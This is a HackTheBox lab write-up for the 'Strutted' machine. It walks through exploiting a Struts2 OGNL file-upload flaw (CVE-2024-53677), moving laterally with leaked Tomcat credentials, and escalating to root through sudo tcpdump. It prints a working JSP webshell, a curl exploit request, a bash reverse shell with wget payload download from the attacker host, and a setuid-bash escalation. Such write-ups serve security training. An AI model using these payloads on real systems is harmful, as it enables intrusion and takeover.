HTB: Strutted Writeup

Strutted - HackTheBox Writeup

Machine Information

AttributeDetails
NameStrutted
OSLinux
DifficultyMedium
PointsN/A
Release DateJanuary 12, 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Strutted is a medium-difficulty Linux machine featuring a company website offering image hosting solutions. The application runs Apache Struts 6.3.0.1, which is vulnerable to CVE-2024-53677—an OGNL injection vulnerability in the FileUploadInterceptor that allows attackers to manipulate file upload parameters and achieve path traversal. By embedding malicious JSP code within valid image files and exploiting the OGNL value stack, we gain initial foothold. Further enumeration reveals hardcoded credentials in the Tomcat configuration, allowing lateral movement to the james user. Privilege escalation is achieved by abusing misconfigured sudo permissions on tcpdump, leveraging a GTFOBins technique to create a setuid bash binary.

TL;DR: CVE-2024-53677 OGNL Injection → JSP Shell Upload → Tomcat Credentials → Lateral Movement → tcpdump Setuid Exploit → Root Shell


Reconnaissance

Port Scanning

Terminal window
# Full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.231.200 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumeration
nmap -p$ports -sC -sV 10.129.231.200

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http nginx 1.18.0 (Ubuntu)

Two open ports: SSH (22) and HTTP (80). The Nmap output reveals the domain strutted.htb.

Service Enumeration

HTTP Service (Port 80):

Add the domain to /etc/hosts:

Terminal window
echo "10.10.11.X strutted.htb" | sudo tee -a /etc/hosts

Visiting http://strutted.htb displays a static website for an image hosting service. A “Download” button provides a ZIP file containing the Docker environment, which includes critical configuration files:

  • Dockerfile: Reveals Tomcat9 and OpenJDK-17 runtime
  • pom.xml: Project dependencies show Apache Struts2 version 6.3.0.1
  • tomcat-users.xml: Contains hardcoded credentials (noted for later use)
  • Java Source Code: Includes upload validation logic with MIME type and magic byte checks

Vulnerability Assessment

CVE-2024-53677 - Apache Struts2 OGNL Injection:

The application uses Apache Struts2 6.3.0.1, which is vulnerable to Remote Code Execution through OGNL (Object-Graph Navigation Language) injection in the FileUploadInterceptor. The vulnerability allows bypassing file upload restrictions:

  1. MIME Type Validation: Only allows image/jpeg, image/png, image/gif
  2. Magic Byte Validation: Checks file headers (JPEG, PNG, GIF)
  3. OGNL Bypass: The UploadFileName parameter is bound to the value stack and can be manipulated using OGNL expressions to change the uploaded file’s extension

The key insight: top.UploadFileName bypasses the ParametersInterceptor validation regex that blocks indexed array access ([0]), allowing arbitrary filename assignment.


Initial Foothold

Exploitation Path

Step 1: Craft Malicious Image with Embedded JSP

Create a valid JPEG file with JSP code appended:

Terminal window
# Generate JSP shell code
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*, java.util.*, java.net.*" %>
<%
String action = request.getParameter("action");
String output = "";
if ("cmd".equals(action)) {
String cmd = request.getParameter("cmd");
try {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
output += line + "\n";
}
} catch (Exception e) {
output = e.toString();
}
}
%>
<pre><%= output %></pre>
EOF

Create a valid JPEG file with JSP payload embedded:

Terminal window
# Create minimal valid JPEG (FFD8FFE0 = JPEG magic bytes)
printf '\xFF\xD8\xFF\xE0\x00\x10JFIF' > shell.jpg
cat shell.jsp >> shell.jpg

Step 2: Exploit OGNL Injection via Multipart Form Data

Send a POST request exploiting the top.UploadFileName parameter:

Terminal window
curl -X POST 'http://strutted.htb/upload.action' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary123' \
--data-binary $'------Boundary123\r
Content-Disposition: form-data; name="Upload"; filename="test.jpg"\r
Content-Type: image/jpeg\r
\r
' \
--data-binary @shell.jpg \
--data-binary $'\r
------Boundary123\r
Content-Disposition: form-data; name="top.UploadFileName"\r
\r
../../shell.jsp\r
------Boundary123--\r
'

Alternatively, use a manual HTTP request interceptor (Burp Suite):

POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=----Boundary123
Content-Length: 410
------Boundary123
Content-Disposition: form-data; name="Upload"; filename="test.jpg"
Content-Type: image/jpeg
[JPEG Magic Bytes + JSP Code Here]
------Boundary123
Content-Disposition: form-data; name="top.UploadFileName"
../../shell.jsp
------Boundary123--

Step 3: Execute Commands via JSP Shell

After successful upload, access the shell:

Terminal window
# Test command execution
curl 'http://strutted.htb/shell.jsp?action=cmd&cmd=id'

Step 4: Gain Reverse Shell

Create a bash reverse shell script:

Terminal window
# On attacker machine
echo -ne '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1"' > bash.sh
# Start HTTP server
python3 -m http.server 80
# In another terminal, start listener
nc -lvvp 4444

Download and execute the reverse shell from the JSP:

Terminal window
# Download script
curl 'http://strutted.htb/shell.jsp?action=cmd&cmd=wget+10.10.14.100/bash.sh+-O+/tmp/bash.sh'
# Make executable
curl 'http://strutted.htb/shell.jsp?action=cmd&cmd=chmod+777+/tmp/bash.sh'
# Execute reverse shell
curl 'http://strutted.htb/shell.jsp?action=cmd&cmd=/tmp/bash.sh'

Step 5: Upgrade to Interactive Shell

Terminal window
# Once connected via reverse shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

Lateral Movement via Hardcoded Credentials

While running as tomcat user, enumerate configuration files:

Terminal window
# Check Tomcat configuration
cat /opt/tomcat/conf/tomcat-users.xml

Output reveals hardcoded credentials:

<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>

Identify users with shell access:

/bin/bash
cat /etc/passwd | grep '/bin/bash'
# james:x:1000:1000:Network Administrator:/home/james:/bin/bash

Attempt SSH with the discovered password:

Terminal window
ssh james@strutted.htb
# Password: IT14d6SSP81k

Successfully authenticate as james user and retrieve the user flag:

Terminal window
cat /home/james/user.txt

Privilege Escalation

Exploiting Misconfigured tcpdump via sudo

Check sudo permissions:

/usr/sbin/tcpdump
sudo -l
# User james may run the following commands on localhost:

The james user can execute tcpdump as root without a password. According to GTFOBins, tcpdump supports post-rotation commands via the -z flag, allowing arbitrary command execution.

Step 1: Prepare Privilege Escalation Script

Create a script that copies bash with the setuid bit:

Terminal window
# Create temporary file for the command
COMMAND='cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root'
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF

Step 2: Execute tcpdump Exploit

Use tcpdump’s -z flag to execute the script with root privileges:

Terminal window
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

Breakdown of flags:

  • -ln: No DNS resolution, numeric output
  • -i lo: Listen on loopback interface
  • -w /dev/null: Write to /dev/null
  • -W 1: One file rotation
  • -G 1: One second rotation interval (triggers -z command)
  • -z $TF: Execute script after rotation
  • -Z root: Change user to root before executing script

Step 3: Verify Setuid Binary Creation

Terminal window
ls -la /tmp/bash_root
# -rwsr-sr-x 1 root root 1396520 Jan 16 12:35 /tmp/bash_root

The file has the setuid bit set (s in permissions), allowing execution with root privileges.

Step 4: Execute as Root

Terminal window
# The -p flag preserves effective privileges
/tmp/bash_root -p
# Verify root access
id
# uid=1000(james) gid=1000(james) euid=0(root) egid=0(root) groups=0(root),27(sudo),1000(james)

Step 5: Read Root Flag

Terminal window
cat /root/root.txt

Attack Chain Summary

Port 80 (Nginx)
Enumerate Website & Download Docker Config
Identify Apache Struts 6.3.0.1 (CVE-2024-53677 Vulnerable)
Exploit OGNL Injection: Embed JSP in JPEG, Manipulate top.UploadFileName
Upload Shell via Path Traversal (../../shell.jsp)
Execute Commands via JSP Webshell
Download & Execute Reverse Bash Shell (as tomcat user)
Extract Hardcoded Tomcat Password (IT14d6SSP81k)
SSH Authentication as james user (User Flag)
Identify sudo Privilege: tcpdump (NOPASSWD)
Exploit tcpdump with -z flag to Execute Setuid Creation Script
Create Setuid Bash Binary (/tmp/bash_root)
Execute Setuid Bash with -p flag (Root Shell)
Read Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and JSP shell exploitation
netcatReverse shell listener
python3HTTP server for payload delivery
burp-suiteHTTP request interception (optional)
sshSecure shell access for lateral movement
tcpdumpNetwork packet analyzer abused for privilege escalation

Key Learnings

Techniques Practiced

  • OGNL (Object-Graph Navigation Language) injection in Apache Struts2
  • Bypassing file upload MIME type and magic byte validation
  • Parameter binding in value stack exploitation
  • Reverse shell payload generation and delivery
  • Credential extraction from application configuration files
  • Sudo permission enumeration and exploitation
  • GTFOBins technique application for privilege escalation
  • Understanding setuid binaries and effective privilege preservation

Lessons Learned

  1. Defense in Depth Matters: File upload validation through MIME types and magic bytes alone is insufficient. The application should also validate parameter names against dangerous OGNL expressions.

  2. Configuration File Security: Hardcoded credentials in configuration files (tomcat-users.xml) pose significant lateral movement risks. These files should be excluded from public-facing Docker downloads.

  3. OGNL Expression Regex Bypass: The ParametersInterceptor validation regex can be bypassed by understanding its limitations. Expressions without array indexing ([0]) may pass validation while still achieving malicious intent.

  4. Sudo Privilege Minimization: Utilities like tcpdump should never be granted unrestricted sudo access. If necessary, limit to specific options (e.g., tcpdump -i eth0 only).

  5. Setuid Binaries in /tmp: Creating setuid binaries in world-writable directories allows privilege escalation. Root-owned directories or protected mount options should be enforced.

  6. Version Management: Regularly update vulnerable dependencies. CVE-2024-53677 affects Apache Struts 6.3.0.1 and patched versions should be deployed immediately.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>